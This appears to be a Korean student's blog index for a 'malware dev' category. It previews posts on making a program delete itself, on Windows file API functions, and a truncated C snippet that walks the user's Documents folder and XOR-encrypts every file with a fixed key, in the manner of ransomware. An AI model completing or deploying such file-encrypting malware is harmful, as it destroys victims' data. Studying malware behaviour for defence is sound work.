일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 | 29 |
30 |
- CodeEngn Basic 01
- 사회분업론
- 코드엔진
- 디지털 포렌식 트랙
- h4ckinggame
- 에밀 뒤르켐
- CodeEngn Basic 5
- 자살론
- bob
- 논문리뷰
- BoB 12기 최종합격 후기
- 코드엔진 basic 5
- 사회적 사실
- Best of the Best
- 리버싱
- malware
- CodeEngn
- 철학
- codeengn basic rce 01
- 코드엔진 베이직
- BoB 12기
- Today
- Total
목록IT/malware dev (6)
woonadz :)
파일 자가 삭제를 구현하기 위해 인터넷에 있는 여러 정보들을 찾아보았습니다. 하지만 제가 원하던 self-delete 행위를 하는 코드는 없었습니다. 보았던 코드들 중 어떤 코드는 자가 삭제를 위해 파일의 삭제 명령이 담긴 배치 파일을 드랍하여 그 배치 파일을 실행시키는 형식으로 동작하였지만 이건 자가 삭제 행위라고 보기 어렵다고 생각합니다. 그래서 아래 블로그에서 악성코드의 자가 삭제 행위를 분석한 내용을 토대로 C언어로 구현해보았습니다. 처음에는 프로세스가 종료되지 않은 상태에서 강제로 파일에 접근하려고 하니 권한 오류가 발생하여 작업 스케줄러에 파일 삭제 작업을 등록하는 형식으로 구현할까도 생각하였습니다. 이 부분은 다음에 기회가 되면 구현하여 올리도록 하겠습니다. https://twoicefish..
#include #include #include #include #include #include #include #define MAX_PATH 1000 #define buffersize 1024 #pragma comment (lib, "shlwapi.lib") const BYTE xorKey[] = { 'M', 'a', 'l', 'F', 'F', 'l', 'e', 'R' }; void all_file_list(wchar_t* path); void file_encrypt_xor(wchar_t* path); int main(void) { char* document_path = NULL; REFKNOWNFOLDERID ID = &FOLDERID_Documents; HRESULT document; documen..
WriteFile : 지정된 파일 또는 I/O(입출력) 디바이스에 데이터를 씁니다. BOOL WriteFile( [in] HANDLE hFile, [in] LPCVOID lpBuffer, [in] DWORD nNumberOfBytesToWrite, [out, optional] LPDWORD lpNumberOfBytesWritten, [in, out, optional] LPOVERLAPPED lpOverlapped ); [in] hFile 파일 또는 I/O 디바이스에 대한 핸들(예: 파일, 파일 스트림, 실제 디스크, 볼륨, 콘솔 버퍼, 테이프 드라이브, 소켓, 통신 리소스, mailslot 또는 파이프). hFile 매개 변수는 쓰기 액세스 권한으로 만들어졌어야 합니다. 자세한 내용은 일반 액세스 권한 ..
CreateFileA 함수 : 파일 또는 I/O 디바이스를 열거나 생성합니다. HANDLE CreateFileA( [in] LPCSTR lpFileName, [in] DWORD dwDesiredAccess, [in] DWORD dwShareMode, [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes, [in] DWORD dwCreationDisposition, [in] DWORD dwFlagsAndAttributes, [in, optional] HANDLE hTemplateFile ); [in] lpFileName 만들거나 열 파일 또는 디바이스의 이름입니다. 이 이름에는 슬래시(/) 또는 백슬래시(\)를 사용할 수 있습니다. 기본적으로 이름은 MAX..
FindFirstFileA 함수 HANDLE FindFirstFileA( [in] LPCSTR lpFileName, [out] LPWIN32_FIND_DATAA lpFindFileData ); [in] lpFileName 디렉터리 또는 경로 및 파일 이름입니다. 파일 이름에는 와일드카드 문자(예: 별표(*) 또는 물음표(?)가 포함될 수 있습니다. 이 매개 변수는 NULL, 잘못된 문자열(예: 빈 문자열 또는 종료 null 문자가 없는 문자열) 또는 후행 백슬래시(\)로 끝나서는 안 됩니다. 문자열이 와일드카드, 마침표(.) 또는 디렉터리 이름으로 끝나는 경우 사용자는 경로의 루트 및 모든 하위 디렉터리에 대한 액세스 권한이 있어야 합니다. ⇒ 파일 목록을 검사하고 싶은 폴더 경로를 지정해줍니다. [ou..
SHGetKnownFolderPath 함수 : 폴더의 KNOWNFOLDERID로 식별된 알려진 폴더의 전체 경로를 검색합니다. HRESULT SHGetKnownFolderPath( [in] REFKNOWNFOLDERID rfid, [in] DWORD dwFlags, [in, optional] HANDLE hToken, [out] PWSTR *ppszPath ); [in] rfid 폴더를 식별하는 KNOWNFOLDERID 에 대한 참조 ⇒ 검색을 원하는 폴더의 경로에 알맞는 상수 값을 위 링크에서 찾아 지정해주면 됩니다. [in] dwFlags 특수 검색 옵션을 지정하는 플래그입니다. 이 값은 0일 수 있습니다. 그렇지 않으면 하나 이상의 KNOWN_FOLDER_FLAG 값입니다. ⇒ 특수 검색(절대 경로..